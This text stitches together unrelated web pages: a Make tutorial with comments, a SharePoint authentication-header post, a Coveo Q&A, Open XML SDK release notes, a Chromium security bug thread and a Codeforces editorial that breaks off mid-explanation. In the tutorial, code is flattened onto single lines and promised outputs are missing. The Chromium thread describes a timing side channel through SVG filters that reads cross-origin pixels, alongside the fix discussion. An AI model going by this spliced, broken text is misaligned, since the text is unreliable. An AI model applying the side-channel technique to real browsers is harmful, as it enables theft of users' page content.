Make isn’t just a glorified batch file - it has intelligence. One of the intelligent things that it does is track dependencies. For example, helloWorld.exe is generated from helloWorld.c - helloWorld.exe is dependent on helloWorld.c. Make will never go to the trouble of rebuilding an output (in this case, helloWorld.exe) if none of the dependencies of helloWorld.exe have changed. If none of the dependencies have changed, the output is up to date (as the output of make told us) and recompiling the source file would produce the same output - so why do it? It might seem like this is a case of premature optimization and for this project, yes it is. But for a large project with hundreds or thousands of source files, only rebuilding the outputs that need to be rebuilt can easily save hours!
The problem with our makefile is that we haven’t specified any dependencies for our target. Because of this, make doesn’t know what files are needed to rebuild helloWorld.exe, so it assumes that if the file exists then there must be no other work to do. The ‘all’ target doesn’t have this problem because it’s not a file - it’s a ‘phony’ target. Whenever you rebuild the ‘all’ target it always performs the command(s). To ensure that make will rebuild the helloWorld.exe file, change the target definition to this:
bin\helloWorld.exe: src\helloWorld.c gcc src/helloWorld.c -o bin/helloWorld.exe
We’ve added ‘src\helloWorld.c’ to the right of the colon after the target name. By doing this, we’ve specified that the helloWorld.c file is a dependency of helloWorld.exe: the one is needed to make the other. You can have as many dependencies to the right of the colon as you want - just separate them by spaces. Dependencies can be other targets (such as ‘all’) or they can be files as is shown above. By adding this dependency, make will know when it has to rebuild helloWorld.exe and when it can avoid doing so to save time.
So, with the dependency added, re-run the previous command on the command line:
mingw32-make bin\helloWorld.exe
And now, you get this result:
Which is exactly the same as before. What gives?
The problem here is that make determines whether it has to rebuild a target from its dependencies based on timestamps. If helloWorld.exe has later timestamp than helloWorld.c, that means that helloWorld.exe must have been built from the current helloWorld.c. If there haven’t been any changes to the dependencies, there’s no reason to update the target - hence, it’s up to date. However, if we change the timestamp on helloWorld.c then make will know to rebuild helloWorld.exe. Edit helloWorld.c so that it looks like this:
#include <stdio.h> main ( ) { printf("I changed it okay?"); }
Your program has suffered a change in attitude, but more importantly it’s suffered from a change in timestamp: the timestamp on helloWorld.c is now later than that of helloWorld.exe. Watch what make does now when we try to build the target (using the same command as shown before):
And now it works! But now you have a problem: if you try to build bin\helloWorld.exe again, it won’t do anything because it’s up to date. Sometimes you want to force the target to be rebuilt. There’s two good ways to do this:
Specify a new target with the name ‘FORCE’ with no command after it. Then, make ‘FORCE’ a dependency of the file you always want to be rebuilt. The makefile would look like this thereafter:
all: gcc src/helloWorld.c -o bin/helloWorld.exe bin\helloWorld.exe: src\helloWorld.c FORCE gcc src/helloWorld.c -o bin/helloWorld.exe FORCE:
Now it will always rebuild helloWorld.exe every time you invoke it. This is an effective but not flexible solution. There’s an easy way to allow you to force a rebuild whenever you want without it happening all the time: the clean target.
The clean target is a common target in many makefiles. The point of the target is that it deletes all of the output files at once which forces everything to be rebuilt afterwards. Using the clean target approach, the makefile would look like this:
all: gcc src/helloWorld.c -o bin/helloWorld.exe bin\helloWorld.exe: src\helloWorld.c gcc src/helloWorld.c -o bin/helloWorld.exe FORCE: clean: del bin\helloWorld.exe
To force a rebuild, type the following commands on the command line:
- mingw32-make clean
- mingw32-make bin\helloWorld.exe
And you’ll see this result:
Works like a charm! Now you have the capability to force a rebuild any time. You’ll notice that I left the FORCE target in the makefile - it’s a common target that will most likely be useful to you in the future. Also, unused targets don’t really have any downside as long as they don’t make the makefile harder to read - certainly that isn’t the case yet.
That’s a good amount of basic knowledge about compiling C files and writing makefiles: you can write a C file, compile it and write a makefile to handle all of those tasks for you. I’ve literally only scratched the surface of both of those topics - there’s plenty of fodder left for future articles. I don’t want to wear you out on a single topic for too long though - that’s why the next article will focus on basic source control with Git.
See you next time!
Previous post by Stephen Friederichs:
Coding - Step 0: Setting Up a Development Environment
Next post by Stephen Friederichs:
Coding Step 2 - Source Control
- Write a CommentSelect to add a comment
your tutorial is so clear and very helpful. Many thanks!
I downloaded and installed the GCC etc...; I went on with the step1 to compile the helloWorld.c program a popup window tells me that the "libiconv procedure entry point in missing in the libiconv-2.dll.
Can you please tell me what it means .Could the libiconv-2.dll itself be corrupted?
Thanks for your work anyway.
Yesterday I told you about a problem in libiconv-2.dll that would have prevented my helloWorld.c from compiling.
Well,Good news! With the help of "DLL-Files Fixer" that file got fixed and I could compile the program which became helloWorld.exe.
Now I'll try on with the Makefiles Chapter.
THANKS again Stephen!
I found (at least I guess so) a problem in your makefile.When the target is clean, I had to change the command to rm bin/helloWorld.exe, from del bin/helloWorld.exe to work.
First, let me get this out of the way. I use Windows system daily. The system from which I am replying from now is a Windows 8 professional system.
With the above said, I feel it is a waste of time developing software on a Windows PC. Instead, I feel is it much more productive spending time developing software on Linux ( or UNIX ) using GNU tools such as gcc, make, autotools, etc. Why ? Well because much of the embedded programming going on now days is done using Linux. Embedded Linux to be precise. Not only that, many of the very useful tools are available on Linux systems for free.
Yes, yes, there are many tools which can be used on Windows as well. Then some of these are very easy to use, and perhaps are even free. But what do these tools really teach us ? How to do things specific for Microsoft platforms only ? Or do they really teach us about the lower level intricacies of that platform ? I would argue that they do not. Using various libc or POSIX api's on the other hand can and often do work cross platform, and offer a much broader insight as to how things really work.
Or do we only really care about such things as WIN32_LEAN_AND_MEAN ?
>>IMAGE.
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Just the subject line of this post is a mouthful, if it’s any indication of what we’re going to be covering today. This post is going to address an issue that has long bothered myself and others. I just recently started asking around about it and then coincidentally got an email from someone that had just received info on how to resolve this issue.
I’m only covering the most common parts of this scenario; there are multiple twists that can be added to them. The problem is retrieving data from a SharePoint site that is using multiple authentication providers; in this scenario, assume one is Windows claims and the other is anything else – it could be Forms Based auth or SAML auth. Frequently you will want to retrieve data from such a site using either the Client OM or SharePoint web services but use Windows authentication to do so. The problem up to this point has always been that even when you set your Windows credentials on the request, you still got an Access Denied when requesting the data.
The underlying resolution to this problem is that if you want to programmatically access a SharePoint site that uses multiple auth providers with a set of Windows credentials, you need to add an additional header to your request. The header name needs to be X-FORMS_BASED_AUTH_ACCEPTED and the value needs to be “f”. Adding this header can be a little less than straightforward for these two common scenarios so the rest of the post will explain how to do that with some sample code.
If you’re using the Client OM, you need to add an event handler for the ExecutingWebRequest event. Here’s an example of the code and what it looks like:
//create the client context
ClientContext ctx = new ClientContext(MixedUrlTxt.Text);
//configure the handler that will add the header
ctx.ExecutingWebRequest +=
new EventHandler<WebRequestEventArgs>(ctx_MixedAuthRequest);
//set windows creds
}
And this is where the magic happens:
void ctx_MixedAuthRequest(object sender, WebRequestEventArgs e)
try
//add the header that tells SharePoint to use Windows Auth
e.WebRequestExecutor.RequestHeaders.Add(
"X-FORMS_BASED_AUTH_ACCEPTED", "f");
}
catch (Exception ex)
{
MessageBox.Show("Error setting auth header: " + ex.Message);
That’s all there is too it; that one is actually pretty easy and I think self-explanatory. Doing the same thing with a standard Web Service reference is a little different. To begin with, let’s walk through the process of adding a standard style web reference in a SharePoint site to a project in Visual Studio 2010:
1. Right-click the Service Reference node and select Add Service Reference.
2. Click the Advanced button on the bottom of the dialog.
3. Click the Add Web Reference… button on the bottom of the next dialog.
4. Enter the Url to the web service you want to use in the URL edit box; for example to add a reference to the Lists web service in the site at I would put this in for the URL:.
5. Hit Enter or click the green arrow button to find the web service reference, then type in a name for your web service reference in the Web reference name edit box and click the Add Reference button.
Your reference and proxy classes for your reference should be created now, but you’ll need to add an additional partial class in order to add the header to your web service request. Start by adding a new class to your project, and call it whatever you want. Since you just want to add some additional behavior – adding a header to the request – you’ll want to make it a partial class. That means that you need to copy both the namespace and class name used in the proxy created for your web reference. Here are the steps to do that:
1. Click the Show All Files button in the Solution Explorer window in Visual Studio.
2. Click the plus sign next to your web service reference to expand it.
3. Click the plus sign next to the Reference.map file to expand it.
4. Double-click the Reference.cs file to open it.
5. Copy the namespace and paste it into your class.
6. Copy the class name, including inheritance, and paste it in your class as your class name. The web service reference class is a partial class already so there isn’t any changes you’ll need to do there.
Here’s an example of what my the Reference.cs class {
And here’s what it I pasted into my class that I created:
namespace ClientOmAuth.listsWS
public partial class Lists : System.Web.Services.Protocols.SoapHttpClientProtocol
So you’ll notice how both the namespace and class names match, and that both classes are inheriting from the same base type.
Now you need to override the GetWebRequest method so you can add the header. That is done simply by adding this code to your partial class:
protected override System.Net.WebRequest GetWebRequest(Uri uri)
System.Net.WebRequest wr = null;
try
wr = base.GetWebRequest(uri);
wr.Headers.Add("X-FORMS_BASED_AUTH_ACCEPTED", "f");
//some error handling here
return wr;
Coding to retrieve the data via the web service is now exactly the same as you would with any Windows auth SharePoint site:
//create the web service proxy and configure it use my Windows credentials
listsWS.Lists lws = new listsWS.Lists();
lws.UseDefaultCredentials = true;
//get the collection of lists
XmlNode xLists = lws.GetListCollection();
//enumerate results
foreach (XmlNode xList in xLists.ChildNodes)
//do something with each List
That’s all there is too it. You can apply this information to retrieving data via REST as well, using the techniques I described here:.
It's me again... I suppose you manually validate the comments as I didn't see my previous one.
I uploaded a project with the problem I have:
If you have some time to see what could go wrong...
Thank you :-)
This is great for client-side access. What about server-side access. When I am in Visual Studio, I can't add a Service Reference to the listdata.svc service on a multi-auth site. Any idea how to do this?
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http://blogs.technet.com/b/speschka/archive/2011/04/01/retrieving-data-from-a-multi-auth-site-using-the-client-om-and-web-services-in-sharepoint-2010.aspx
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We're moving to a new platform to better meet your needs.
I have a WebCrawler index which is being indexed in Coveo, and I'm querying it using the Sitecore ContentSearch Linq Provider, and returning my own custom POCO.
When viewing the Indexed Documents in the Coveo Admin Tool, clicking on 'Details' of an indexed document shows me the properties. One of those properties is 'Title'. There is also a tab for 'Summary'.
Ideally, I would like to have a query that returns these fields in the results.
I have a POCO which references field names that are listed in the other Tab 'Fields'.
public class CoveoSearchResultItem { [IndexField("systitle")] public string Title { get; set; } [IndexField("sysuri")] public string ClickUri { get; set; } }
These work with the value of the fields, but is there a way to retrieve the values of 'Title' (from the Properties Tab) and 'Summary' (from the Summary Tab) in my POCO?
Thanks Sean
Answer by Jean-François L'Heureux · Feb 23, 2016 at 05:55 PM
Hi Sean,
The "Title" property of an indexed document should always be the same as the systitle field value. If you have a different value for both, you are out of luck for the moment.
The various properties of a search results are not accessible from a LINQ POCO at the time of this writing (January 2016 release of Coveo for Sitecore) and this is not planned to add them to Coveo for Sitecore 3.0. However, code is already done in Coveo for Sitecore 4.0 (Cloud version) for that to be accessible. This version will be released early Q2 2016.
If you really wish to have those in version 3.0, please let us know in the ideas portal:
Thank you,
Jeff
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In a previous post, where I announced the release of the Open XML SDK 2.0, I promised to give you guys a list of improvements and breaking changes made to the SDK compared to the December 2009 CTP.
We made a few tweaks to the SDK based on some of the great feedback we received from you guys. The following sections below outline these changes.
Autosave for Creating Documents
One of the changes we made to the SDK is around supporting autosave for document creation. Back in August 2009 we released a CTP that included autosave functionality when modifying parts within the Open XML package. This functionality allowed for changes to be automatically saved into the package, without the need to call Save() methods. We also provided a mechanism to turn off this functionality. This functionality worked great when opening existing files. However, we never added such functionality for newly created documents. That’s what we added this time around for the final version of the SDK. Here are the new Create() methods:
- public static WordprocessingDocument Create(Package package, WordprocessingDocumentType type, bool autoSave);
- public static WordprocessingDocument Create(Stream stream, WordprocessingDocumentType type, bool autoSave);
- public static WordprocessingDocument Create(string path, WordprocessingDocumentType type, bool autoSave);
- public static SpreadsheetDocument Create(Package package, SpreadsheetDocumentType type, bool autoSave);
- public static SpreadsheetDocument Create(Stream stream, SpreadsheetDocumentType type, bool autoSave);
- public static SpreadsheetDocument Create(string path, SpreadsheetDocumentType type, bool autoSave);
- public static PresentationDocument Create(Package package, PresentationDocumentType type, bool autoSave);
- public static PresentationDocument Create(Stream stream, PresentationDocumentType type, bool autoSave);
- public static PresentationDocument Create(string path, PresentationDocumentType type, bool autoSave);
Improved Namespace Processing
The older CTPs used a predefined mapping between the XML prefixes and the different namespaces. In other words, the SDK assumed a specific prefix for a specific namespace. For example, a WordprocessingML Paragraph would always write out the element <p> with the prefix w, such as <w:p>. The issue, that some of you brought up, is that the SDK didn’t handle custom prefixes defined in XML fragments if those prefixes conflicted with the predefined list of prefixes of the SDK. With the final version of the SDK we fixed this issue. The final version of the SDK should be a lot more robust.
Breaking Changes in the Final Release of the Open XML SDK 2.0
The following table outlines changes made to Open XML SDK classes and attributes where there is a difference in the December 2009 CTP vs. the final RTW version of the Open XML SDK:
Note: The change from Alias to SdtAlias will affect the most people.
Zeyad Rajabi
Can you show us how to copy/export a worksheet from one workbook to another?
Thank you,
– Abel
Can SDK 2.0 parse very very large xl documents(BILLIONS cells) with speed and small memory foot print? If it builds the entire DOM in-memory then this will NOT work. It should use SAX parsing with some type of off memory caching and transparent to developers/APIs.
May be this is documented somewhere that I have not found as am just starting to upgrade my code to OpenXML from c++/biff8. Am building server side application for very high volume and performance XL streaming.
-Mike
Hi brian,
I am having trouble with the validation code posted in this post:
blogs.msdn.com/…/finding-open-xml-errors-with-open-xml-sdk-validation.aspx
i would post in comments but they are disabled for that post.
there is a forum post that outlines the problem similar to mine:
social.msdn.microsoft.com/…/a516bed7-05d7-4d58-8348-0a3a0c5af966
@mike
from my understanding the Open XML sdk is designed for manipulating the underlying XML of the Open XML documents, not for analyzing or data processing.
There exists a oledb driver for connecting to excel documents that would allow you to pull out information using SQL syntax. its named "Microsoft.ACE.OLEDB.12.0" for xlsx, xlsm, xlsb files. We use this in our software product and we have tested it on excel files with 100,000 rows.
More more thing…my code needs to run on big unix box. What needed is open source c++ lib for xlsx.
Thanks for the suggestions guys. I will plan on writing some future posts on these topics.
@adamm_wr – The issue may be due to the encoding of the XML parts. Make sure the encoding is UTF based rather than ANSI.
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VULNERABILITY DETAILS
Arithmetic with denormalized floating point values results in characteristic timing behavior. Multiple SVG filters perform calculation between pixel values and floating point parameters. If the provided parameters are denormalized, execution time is measurably faster if pixel values of zero are multiplied with the denormalized parameter, compared to multiplication of a pixel value larger than zero. This allows an attacker to construct a timing channel to read pixels from images and iframes containing content from other sources, by measuring the timing difference between operations on black and nonblack pixels. Other filters can be used to change any specific color or color range to black, so any information or color can be read from other pages.
Based on their definitions, I believe the following filters to be vulnerable:
feColorMatrix
feComponentTransfer
feComposite
feConvolveMatrix
feDisplacementMap
Timing channels using SVG filters have been discovered before. Other than vulnerabilities described in, this attack isn't based on control flow through execution paths of different length, but it is based on specific values which CPUs handle differently.
A similar attack has been described in "On Subnormal Floating Point and Abnormal Timing", but the researchers believed Chrome wasn't vulnerable to this attack. My exploit demonstrates that it actually is.
To fix this vulnerability, simply make sure calculation isn't applied on denormalized values. This should not cause any practical issues because denormalized numbers really aren't required for filters operations, so they can safely be rounded to zero.
VERSION
Chrome Version: 51.0.2704.63 stable
Operating System: Windows 8.1, no service pack
CPU: Intel Core i5-4200U CPU @ 1.60Ghz 2.30Ghz (useful because timing attack)
REPRODUCTION CASE
An exploit is attached which demonstrates the vulnerability. It reconstructs an external image of 10 by 10 pixels, which is easy to visually verify for faults. Reconstruction on my test machine results in about 0-2 faulty reads, and takes about 10 seconds for 100 pixels, this could be made at least twice as fast at the cost of some accuracy. Using the technique described in the Context paper to read characters, this means at least 2-4 characters per second can be read. This exploit is based on feConvolveMatrix, as it is very easy with this filter to perform many arithmetic operations. However, I think any of the above listed filters can be used to construct an exploit like this.
Thanks for the report, adding some labels based on bug 586820 since the bugs are similar.
senorblanco: Can you please take a look?
senorblanco: Uh oh! This issue still open and hasn't been updated in the last
senorblanco: Uh oh! This issue still open and hasn't been updated in the last 29
Has this vulnerability been confirmed yet, or is there anything else preventing progress on a bug fix?
Thanks for your report. I can reproduce the problem. There's nothing preventing progress except developer time.
This seems to have been "fixed" (or at least, made much harder to reproduce) by recent changes. Bisect says:
You are probably looking for a change made after 395198 (known bad), but no later than 395210 (first known good).
CHANGELOG URL:
I'm suspecting ("Enable main frame before activation on waterfall") has changed the timing enough to "fix" this. However, it looks like there may still be some signal in the noise, so I'll continue to pursue a fix on the Skia side.
Think it's time to pull out the big guns and turn off denorms?
This ought to do the trick on x86, making denorm inputs act as zero (DAZ) and anything that produces denorm produce zero instead (FTZ):
_mm_setcsr(_mm_getcsr() | 0x8040);
Yeah, that would probably be the easiest fix. I wasn't sure how it might affect things outside filters, though. Could wrap the filter entry points to set it / restore it, but then I'm not sure about thread safety.
Also, is there an equivalent for ARM?
Reading ARM's docs* and the Android NDK's fenv.h, it looks like that we can use fesetenv() and fegetenv() to toggle bit 24 of the fpscr, something like this:
fenv_t original, flush_to_zero;
(void)fegetenv(&original);
flush_to_zero = original | (1<<24);
(void)fesetenv(&flush_to_zero);
...
(void)fesetenv(&original);
*
I don't know authoritatively how MXCSR works re threading, but a quick test shows that it behaves like any other register, so I wouldn't expect threading issues:
#include <assert.h>
#include <immintrin.h>
#include <string.h>
#include <thread>
volatile uint32_t zero = 0x00000000;
volatile uint32_t denorm = 0x00000001;
volatile uint32_t doubled = 0x00000002;
static float pun(uint32_t bits) {
float f;
memcpy(&f, &bits, 4);
return f;
}
static void normal() {
while (true) {
assert (pun(denorm) + pun(denorm) == pun(doubled));
assert (pun(doubled) != pun(zero));
}
}
static void flush_denorm() {
while (true) {
_mm_setcsr(_mm_getcsr() | 0x8040);
assert (pun(denorm) + pun(denorm) == pun(doubled));
assert (pun(doubled) == pun(zero));
_mm_setcsr(_mm_getcsr() ^ 0x8040);
}
}
int main() {
std::thread t1(normal), t2(flush_denorm);
t1.join();
t2.join();
return 0;
}
Here's a slight tweak that repros in the software renderer (although horizontally flipped, for some reason).
Run with --disable-main-frame-before-activation --disable-gpu
The following revision refers to this bug:
commit 014a9a0ea7260b37773adb545b7cabbff80423b9
Author: senorblanco <senorblanco@chromium.org>
Date: Tue Jul 26 16:18:46 2016
cc: disable denorm handling before calling into Skia's filter code.
Set the "denorms-are-zero" and "flush-to-zero" CSR flags prior to
calling into Skia's filter code.
BUG= 615851
CQ_INCLUDE_TRYBOTS=master.tryserver.blink:linux_blink_rel
Review-Url:
Cr-Commit-Position: refs/heads/master@{#407823}
[modify]
[modify]
[modify]
[modify]
The fix for x86 (and x86_64) has landed (above). The fix for ARM (using fesetenv) *should* work according to the docs, but doesn't, so I haven't landed it yet.
Note that I had to explicitly compile in --disable-main-frame-before-activation into my Chrome/Android build in order to repro, so I'm going to lower the priority of this.
What ARM device are you testing on? ARMv7 NEON always treats denorm as zero. This filter is implemented in NEON, right? Or is it some serial code that's the vector?
I don't think feConvolveMatrix (aka SkMatrixConvolutionImageFilter) has been SIMDified (either or SSE or NEON).
Ah, gotcha.
I'm still stumped as to why the ARM fix doesn't work. I tried it on Nexus 7 (2013) and Nexus 6P, and the problem still repros. My guess that it's perhaps because ARM has the "flush-to-zero" mode, but not an equivalent of "denorms-are-zero".
So I've put up a skia fix to force all incoming float filter attributes to zero:
Hi, any progress on the fix?
The x86 fix is in as of the change in c#15, but there has been no progress on the ARM fix.
However, I believe that it is no longer reproducible on ARM even without my fix due to main frame before activation having been enabled. If you can still repro it on any platform, please let me know and I'll raise the priority of this work.
Thanks again for your report.
No I haven't been able to reproduce it. Perhaps close the issue and/or forward to the panel for finishing steps? Would be nice to have a CVE-identifier to refer to it.
[Automated comment] Commit may have occurred before M55 branch point (10/6/2016), needs manual review.
CL listed at #15 landed on July 26th and M55 was branched on 10/6/2016. So no merged is needed here. Removing "Merge-Review-55" label.
+awhalley@, please re-request M55 merge if needed. Thank you.
The panel declined to reward along the same lines as before, but this should get a CVE in M55 release notes.
This bug has been closed for more than 14 weeks. Removing security view restrictions.
For more details visit - Your friendly Sheriffbot
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https://bugs.chromium.org/p/chromium/issues/detail?id=615851
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CC-MAIN-2017-22
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refinedweb
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Hi, here is the editorial. Sorry for a long waiting.
Have you enjoyed this round? I hope so. I know there are many things not so good and making some people unhappy :( I'm very sorry about that. Since this is my first round, I have many things not taken into consideration or done badly. I will try to improve them if I have my next round (I hope).
Let's talk about the problems. The problems are mainly prepared by me, ditoly, which can be seen in D1D as "Little D". Also, my friends ACMLCZH ("Little C") and FallDream ("Mr. F", I don't know whether this name can explain Chinese word "F大爷" well, maybe "Master F" is better?) provided great helps. The statements are mainly written by me (with the help of 300iq and cyand1317 and some others, thanks!). My English is not so good, so it's frequent that I just understand the problem but other people get AC :( So I try to explain the problems in short statements. Are you not the same with me in this round :p? By the way, why Little C loves "3" so much? He said, it's because C is the 3rd letter in alphabet :D
Div. 2 A — Little C loves 3 I
This problem is set by Little C at first, and it's a problem about "Tic-Tac-Toe" for D2B. But after discussion with the coordinator, we thought it's just a implement problem and not so interesting. So I came up with a new problem as you saw.
If n - 2 is not a multiple of 3, a = 1, b = 1, c = n - 2 is OK.
Otherwise, a = 1, b = 2, c = n - 3 is OK.
#include<bits/stdc++.h> using namespace std; int main() { int n; scanf("%d",&n); if((n-2)%3)printf("1 1 %d",n-2); else printf("1 2 %d",n-3); }
Problem Author: ditoly and ACMLCZH
This is the former D2A :) After discussion with the coordinator, we thought this problem is too difficult for beginners so it became D2B. What do you think of it?
To cover a point (xi, yi), the length of the shorter side of the triangle should be at least xi + yi.
So the answer is max(xi + yi).
#include<bits/stdc++.h> using namespace std; int main() { int n,x,y,ans=0; scanf("%d",&n); while(n--)scanf("%d%d",&x,&y),ans=max(ans,x+y); printf("%d",ans); }
Problem Author: FallDream
In the initial version, it's satisfied that the GCD of all the given integers is 1. So maybe it will be easier to find the standard solution?
First we divide all numbers by GCD of them. Then we should find a subset with maximum number of integers GCD of which is bigger than 1.
We can enumerate a prime p that GCD of the remaining integers can be divided by. And the number of integers can be divided by p is the maximum size of the subset.
We can use Sieve of Euler to factor all integers in
time. Then we find the prime that can divide most integers. The answer is n minus the number of integers can be divided by this prime. If all integers are 1 (after dividing their GCD), there is no solution.
#include<bits/stdc++.h> using namespace std; #define MN 300000 #define MX 15000000 int a[MN+5],u[MX+5],p[MX+5],pn,s[MX+5]; int gcd(int x,int y){return y?gcd(y,x%y):x;} int main() { int n,i,j,g,x,ans=0; for(i=2;i<=MX;++i) { if(!u[i])u[i]=p[++pn]=i; for(j=1;i*p[j]<=MX;++j){u[i*p[j]]=p[j];if(i%p[j]==0)break;} } scanf("%d",&n); for(g=0,i=1;i<=n;++i)scanf("%d",&a[i]),g=gcd(g,a[i]); for(i=1;i<=n;++i)for(j=a[i]/g;j>1;)for(++s[x=u[j]];u[j]==x;)j/=u[j]; for(i=1;i<=MX;++i)ans=max(ans,s[i]); printf("%d",ans?n-ans:-1); }
It seems that many people is unsatisfied with the constraints of this problem :( I'm sorry very very much!
Now I'll explain the reason of the constraints.
First, about the main idea of this problem, both FallDream and me thought it's only the prime factors must be considered (Certainly, when the GCD of all the integers is 1).
So I think solutions which consider each prime should be able to pass but which consider all the factors should not.
In the beginning, the maximum of n is 5·105 and of ai is 107, and the time limit is also 1s. My solution will run for less than 0.4s.
Then the tester cyand1317 submit a solution with
time (Let A denote the maximum of ai) which count the number of multiples for each number. His solution got TLE but just ran for about 1s. I think this solution do not use the main idea, so should be not able to pass. Then I increased the limit of ai a little to 1.5·107 so that his solution should run for about 1.5s. Since the solution with
time should use the main idea and I think it should be able to pass, I do not increase it too much. And according to cyand1317's suggestion, the time limit is unfriendly to some languages, I reduced n to 3·105 so that there will be less constant requirement for standard solutions. Then my solution will run for about 0.3s and
solutions will run for about 0.6s (and it seems that running on codeforces is a little bit faster than running on polygon). I thought this result is acceptable so it became the final constraints.
If the constraints make you feel unfriendly, I'm sorry very very much once again! There are so many conditions I should consider that I worried about it for a long time and do not receive a good result finally :( And I did not notice that the brute force can care only primes not bigger than
so many of them got AC :(
Also sorry for too weak pretests.
Hope you can forgive me for my mistakes.
Div. 1 B — Little C Loves 3 II
When ACMLCZH first told me this problem and the solution, I hacked him because of his mistake :p
Following the rules in the problem, the 1 × 6, 2 × 4, 2 × 5 and 3 × 4 grids full of chessmen can be easily constructed.
Let the number denote the time when the chessman placed.
Grids of 1 × 6 :
1 2 3 1 2 3
Grids of 2 × 4 :
1 2 3 4
3 4 1 2
Grids of 2 × 5 :
1 3 2 1 5
2 4 5 3 4
Grids of 3 × 4 :
1 3 4 2
5 2 1 5
6 4 3 6
Assume that n ≤ m. Consider the following cases:
If n = 1, obviously the answer is
.
If n = 2, only the 2 × 2, 2 × 3 and 2 × 7 grids cannot be completely constructed. The others can be constructed by using the 2 × 4, 2 × 5 and 2 × 6(constructed by two 1 × 6 grids) girds.
You can write a brute force or enumerate all the possibilities by yourself. If you consider each grid from left to right and choose the grid it matched with, there are only several possible conditions. So I think it can be proved in several minutes :)
If n > 2, the following things we can consider:
We know that using the 2 × 4 and 3 × 4 grids we can construct the 4 × x(x > 2) grid, and using several 1 × 6 grids we can construct the 6 × x(x > 2) grid, so using the 4 × x and 6 × x grids we can construct the x × y grid while x, y > 2 and y is an even number.
Therefore we only need to consider the n × m grid that n and m are both odd numbers.
Since n × m is an odd integer, we can place nm - 1 chessmen at most, so we try to reach the maximum.
Then we can easily construct the 3 × 3, 3 × 5 and 5 × 5 grids that have only one empty grid. According to the above-mentioned conclusions, any n × m grids can be reduce to one of the three grids by using some x × y(x or y is even) grids. The maximum is reached.
Grids of 3 × 3 :
1 2 3
3 0 4
4 1 2
Grids of 3 × 5 :
1 3 4 6 7
2 5 1 0 5
3 4 2 7 6
Grids of 5 × 5 :
1 2 3 1 2
3 4 5 6 4
5 6 7 8 9
10 8 9 12 7
11 12 10 11 0
It seems that the chessboard is a little bit big but you can match them arbitrarily and get correct solution with a big possibility :)
#include<bits/stdc++.h> using namespace std; int main() { int n,m; scanf("%d%d",&n,&m); if(n>m)swap(n,m); if(n==1)printf("%d",m/6*3+max(m%6-3,0)<<1); else if(n==2)printf("%d",m==2?0:m==3?4:m==7?12:m<<1); else printf("%lld",1LL*n*m/2*2); }
This problem is a matching problem. And we found that two grids can be matched only if they have different parities of the sum of two coordinates. So it's actually a biparite graph matching problem :) So we can calculate the answer for all small n and m. When n = 1 or m = 1, the answer is easy to get. Otherwise, we found that if n or m is big enough, the answer will be the maximum. So just keep the answers for small n and m, you will get AC easily :)
Div. 1 C — Region Separation
This problem seems to be a little difficult for its position. In fact, D1C is an easier problem with dp on a tree. For some reasons, it was replaced by this problem. But I think the new problem is very interesting, isn't it?
First, we try to find whether it's possible to separate the kingdom into k regions of level-2 with the same sum of values. We calculate S, the sum of all the values, so each region should have sum
. Let si be the sum of values in the subtree of root i. We consider all the cities from the leaves to the root, when a subtree i has sum
, separating it from the tree. We find that only the i with
will be considered. So there should be at least k cities satisfying this condition. And if there exist such k cities, we cut the edge to their father (if it is not the root), so the size of each connected part will be multiple of
. Since all the values are positive, all the connected parts have size
. So we just need to count how many cities i with
there are. Let the equation be
, where x is a positive integer, so k should be a multiple of
. Now we can use a simple dp with
time to find whether it's possible to separate the kingdom into k regions of level-2 for all the k.
And it's not difficult to find that there can be ki regions of level-i if and only if there can be ki regions of level-2 and ki - 1 is a factor of ki. Let fi be the number of plans with i regions of the last level, and we enumerate the factors of i to transform. So the total time of this solution is
(including the time to calculate the gcd).
#include<bits/stdc++.h> using namespace std; typedef long long ll; #define MN 1000000 #define MOD 1000000007 ll s[MN+5];int f[MN+5],p[MN+5],F[MN+5]; inline void rw(int&x,int y){if((x+=y)>=MOD)x-=MOD;} int main() { int n,i,j,ans=0; scanf("%d",&n); for(i=1;i<=n;++i)scanf("%lld",&s[i]); for(i=2;i<=n;++i)scanf("%d",&p[i]); for(i=n;i>1;--i)s[p[i]]+=s[i]; for(i=n;i;--i)if((s[i]=s[1]/__gcd(s[1],s[i]))<=n)++f[s[i]]; for(i=n;i;--i)for(j=i;(j+=i)<=n;)f[j]+=f[i]; for(F[1]=i=1;i<=n;++i)if(f[i]==i)for(rw(ans,F[j=i]);(j+=i)<=n;)rw(F[j],F[i]); printf("%d",ans); }
It seems that
solution can pass this problem? Some of the testers submit solutions which enumerate the multiples of
instead of keep them in an array and then use a
dp. I think its time complexity will be
, but I can not prove it's a tight upper bound. I try to construct tests but get 1.5·108 times of calculation at most which their solutions should run for about 1.5s and my solution should run for about 1s.
And I could not construct tests whose answer is bigger than 109 + 7. So you may get AC even though you mistake the modulo number or do not modulo :D I guess the answer will be about
(just guess). Can someone tell me about it, please?
Lastly, about the generator, I spent a whole afternoon to write it and its length is about 4kb which seems to be longer than the total length of my code for all problems! (As you can see, my code is always a little shoter than most of people) I hope the tests are strong enough :)
Div. 1 D — Intervals of Intervals
Problem Author: ditoly and FallDream
A data structure problem! With a very interesting (I think) solution! But in the beginning, this problem is just asking you for the values of several intervals of intervals :( I try to improve it and come up with this new problem :) This problem seems to be a little difficult so that only scott_wu solved it, congratulations! In fact, I would like to set the scoring contribution to 2250 (so scott_wu may take the 1st place?) before the contest. But for some reasons I finally did not :(
Great thanks to cyand1317 for the revision of the tutorial.
First we consider how to calculate the value of an interval of intervals [l, r]. We can consider intervals in order from 1 to n and, for each position on the axis, maintain a timestamp denoting the last time it was covered. When the r-th interval is taken into consideration, the timestamps for positions [ar, br] should all be updated to r. Right after that, the desired answer of a query [l, r] is the number of positions whose timestamp is not smaller than l.
We would like to, for each r, keep the desired answer for every l. To achieve this, when we change the timestamps of k positions from r' to r, the answers for l in [r' + 1, r] should each be increased by k.
To do it fast, we can merge consecutive positions with the same timestamp into a segment, and use a balanced tree (e.g. std::set) to maintain the segments. O(1) new segments appear when adding an interval, and when a segment is completely covered by later intervals, it will be deleted. By amortized analysis, the total number of balanced tree operations and the number of range modifications of answers (see above) are both O(n). We spend
time in this part.
Now we consider how to get the answer. It's obvious that we will select the k largest values. We can use binary search to find the minimum we finally select, i.e. we should, for several integers x, count how many values of [l, r] are not smaller than x and count the sum of these values by the way to get the answer.
